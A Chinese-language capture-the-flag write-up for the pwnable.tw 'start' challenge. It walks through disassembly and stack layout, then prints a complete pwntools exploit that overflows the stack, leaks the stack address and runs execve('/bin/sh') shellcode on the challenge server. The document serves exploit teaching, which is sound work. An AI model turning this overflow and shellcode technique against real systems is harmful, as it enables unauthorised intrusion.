Pwnable.tw start Writeup

kazma 成大資安社 創辦人/社長

Pwnable.tw - start

Description

Just a start.

Source

https://pwnable.tw/challenge/#1

0x1 Initial Reconnaissance

首先觀察這題的一些基本資訊可以發現這題是 x86 的 binary,然後保護機制都沒開。沒有 main ,代表很有可能是直接用組語手刻的。gdb 反組譯 _start 之後也會發現指令確實很少。

file

1
2
└─$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

checksec

1
2
3
4
5
6
7
└─$ checksec start
[*] '/home/kazmatw/pwnable/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

./start

1
2
└─$ ./start
Let's start the CTF:123

disassemble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gef➤  info function
All defined functions:

Non-debugging symbols:
0x08048060 _start
0x0804809d _exit
0x080490a3 __bss_start
0x080490a3 _edata
0x080490a4 _end
0xf7ffc580 __kernel_vsyscall
0xf7ffc5a0 __kernel_sigreturn
0xf7ffc5b0 __kernel_rt_sigreturn
0xf7ffc7a0 __vdso_gettimeofday
0xf7ffcb50 __vdso_time
0xf7ffcba0 __vdso_clock_gettime
0xf7ffd060 __vdso_clock_gettime64
0xf7ffd560 __vdso_clock_getres
0xf7ffd5f0 __vdso_getcpu
gef➤ disassemble _start
Dump of assembler code for function _start:
=> 0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.

0x2 Inspecting Assembly Instructions

對應上面的圖為了方便說明,我用偏移量來代表各條指令:

偏移量 說明
+0 saved esp
+1 push exit_addr
+6 ~ +12 initialize 4 registers
+14 ~ +34 push “Let’s start the CTF:”
+39 ~ +47 write(fd = 1, *buf = esp, count = 0x14)
+49 ~ +55 read(fd = 1, *buf = esp, count = 0x3c)
+57 esp + 0x14
+60 ret

我們來用表格整理一下目前 stack 的狀態,假設一開始程式執行前 esp 的地址在 x,然後由上往下是低位到高位

地址 數值 備註
x-28 0x2774654c “Let’”
x-24 0x74732073 “s st”
x-20 0x20747261 “art “
x-16 0x20656874 “the “
x-12 0x3a465443 “CTF:”
x-8 0x804809d exit_addr
x-4 x saved esp
x ? old esp

0x3 Exploitation

在上一個部分我們可以發現 read 的時候會有 bof 的問題,所以我們可以控 eip。而且保護機制全關所以可以直接 ret2sc,但問題是我們不知道 stack 的地址,因此需要先 leak 有用的資訊,做法是可以在 ret 填上 write 的位址,因為在 ret 前 esp 被推到 ret 上面,所以第二次 call write 前 esp 在 x-8 上面,call 完 write 後 esp 到 x-4 的位置,由 x-4 往後輸出 20 bytes,我們就可以拿到一開始的 saved esp。
把攻擊後的樣子也整理表格應該會比較好理解,要分清楚這題址和值的關係,然後留意 esp 的變化,read 和 write 都是以 esp 為起始讀寫,第一次的 offset 用 A 表示,第二次為 B:

地址 數值 備註
x-28 0x2774654c -> AAAA “Let’”
x-24 0x74732073 -> AAAA “s st”
x-20 0x20747261 -> AAAA “art “
x-16 0x20656874 -> AAAA “the “
x-12 0x3a465443 -> AAAA “CTF:”
x-8 0x804809d -> 0x8048087 exit_addr -> write_addr
x-4 x -> BBBB saved esp
x ? -> BBBB old esp
x+4 ? -> BBBB
x+8 ? -> BBBB
x+12 ? -> BBBB
x+16 x+20
x+20 shellcode

我們 leak 出來的位址是 x,x+20 是 shellcode 的起始位置,所以我們在 ret ,也就是 x+16 的位址填上 x+20。

0x4 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

r = remote("chall.pwnable.tw", 10000)
#r = process('./start')
write = 0x08048087

p1 = b'a' * 0x14 + p32(write)
r.sendafter(b':', p1)
old_esp = u32(r.recv(4))
r.recv()
success('Old_esp = %s' % hex(old_esp))

shellcode='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80
'''

p2 = b'b' * 0x14 + p32(old_esp + 0x14) + asm(shellcode)
r.send(p2)
r.sendline('cat /home/`whoami`/flag')
r.interactive()

Result:

1
2
3
4
5
└─$ python exploit.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[+] Old_esp = 0xffaf0770
[*] Switching to interactive mode
FLAG{??????????????????}

0x5 References

寫這篇之前看了好多份 writeup,發現好多人都有講錯qq,下面附上一些講解得比較清楚的 writeup 給大家參考,用表格說明真的是一個不錯的方式 XD

https://b1n.io/posts/pwnable.tw-start/
https://blog.csdn.net/weixin_43483799/article/details/113844032

shellcode 的部分可以選擇直接手刻,或是參考下面這個網站也可以:
https://www.exploit-db.com/search?type=shellcode&platform=linux_x86

Pwned !!!

  • Title: Pwnable.tw start Writeup
  • Author: kazma
  • Created at : 2024-02-07 01:46:25
  • Updated at : 2024-02-16 15:57:12
  • Link: https://kazma.tw/2024/02/07/Pwnable-tw-start-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments